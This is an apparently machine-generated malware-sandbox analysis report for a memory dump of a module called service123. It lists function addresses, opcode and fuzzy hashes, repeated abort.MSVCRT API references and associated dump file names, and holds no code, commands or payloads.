API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 88d1df4ca4769ffb8ea356fd7e99d449f9e672b710e640da017abee09396636e
Instruction ID: bdb2f9e744008160a1461c9501d22717a2f71aa4d307b877788844775b69395c
Opcode Fuzzy Hash: 88d1df4ca4769ffb8ea356fd7e99d449f9e672b710e640da017abee09396636e
Instruction Fuzzy Hash: 02F058B1909202CBE704EF18E0E4B6AB7B0FF06308F529998C5159B616DB76E465CFC2

Function 6CFFB930 Relevance: 40.6, APIs: 27, Instructions: 135COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CF9
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 50634a4708d8f8cdc6b50ef0f35b30be3cc91d808205e004c84a6ebc84ca15a1
Instruction ID: 2f7a2d9b324cb0be4739f6cd0b75a5e3c8b964ddc6824e835baff8ceed419dd0
Opcode Fuzzy Hash: 50634a4708d8f8cdc6b50ef0f35b30be3cc91d808205e004c84a6ebc84ca15a1
Instruction Fuzzy Hash: 5331E4312497099FD3208E59C4C13ABB7F2EB89310F848D2ADAB447AB1D3349856DB91

Function 6CFFBFCC Relevance: 39.1, APIs: 26, Instructions: 63COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction ID: f5d5788c4b11da568078d5a1629d85d3e866b8b1ddbeb2ee795cab6dab738b6d
Opcode Fuzzy Hash: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction Fuzzy Hash: D3F0A7329CC03ACAA7246F5D44906BA7373F64730CFDF5855D5A03BA38D2619443C786

Function 6CFFBEE7 Relevance: 37.6, APIs: 25, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82919a5162aac3b4c9ff6a5b550d72eb47d6812b6db0e00549b1ebbdc4f0540
Instruction ID: 8dbe201a8677d08189024e6b91a44a1a5b9b744559cbe1216327ff9c797c0f99
Opcode Fuzzy Hash: e82919a5162aac3b4c9ff6a5b550d72eb47d6812b6db0e00549b1ebbdc4f0540
Instruction Fuzzy Hash: 33012D73E59A2207F7144EB4C4E0361B692DB83318F198A69CE751BEEAC274980AD780

Function 6CFFBC1B Relevance: 37.6, APIs: 25, Instructions: 55COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction ID: 572930a45f04b41c34ced4ef9ef2195a1202363ad3bc6d6a3a7a7bf869419d5b
Opcode Fuzzy Hash: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction Fuzzy Hash: 6AE08633A4D31A47A5106998B4802BFB254DB43354F562C28C71863925D351E44982C3

Function 6CFFBE70 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction ID: 0d94cb0af409bd432255e19210dd0a0ce0d29da89297a229bf1cbc4459038be9
Opcode Fuzzy Hash: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction Fuzzy Hash: 09D0173058D7098F9300EF08E1988AAB7E5EB4B305F069D69C50897B34D632D444CA81

Function 6CFFBE00 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction ID: 130818ce69b06ba205d1c70cc4c0592685f9db58026c3f852497fab19e174790
Opcode Fuzzy Hash: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction Fuzzy Hash: F5D0A73194D11B8B9B044F2C50D89BEF3F5AA47308F6F6C94C205B3515E621EA068644

Function 6CFFBDC7 Relevance: 37.5, APIs: 25, Instructions: 44COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction ID: 1fe1d8001c418d8ed6d9b5e1dbf6da905fbb444d62134694e568c0cad0f35c7f
Opcode Fuzzy Hash: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction Fuzzy Hash: 46C01222D8C3198BE1101E98209037BF294DB07204F573C188A5533510CB61E80586C6

Function 6CFFBE98 Relevance: 37.5, APIs: 25, Instructions: 43COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

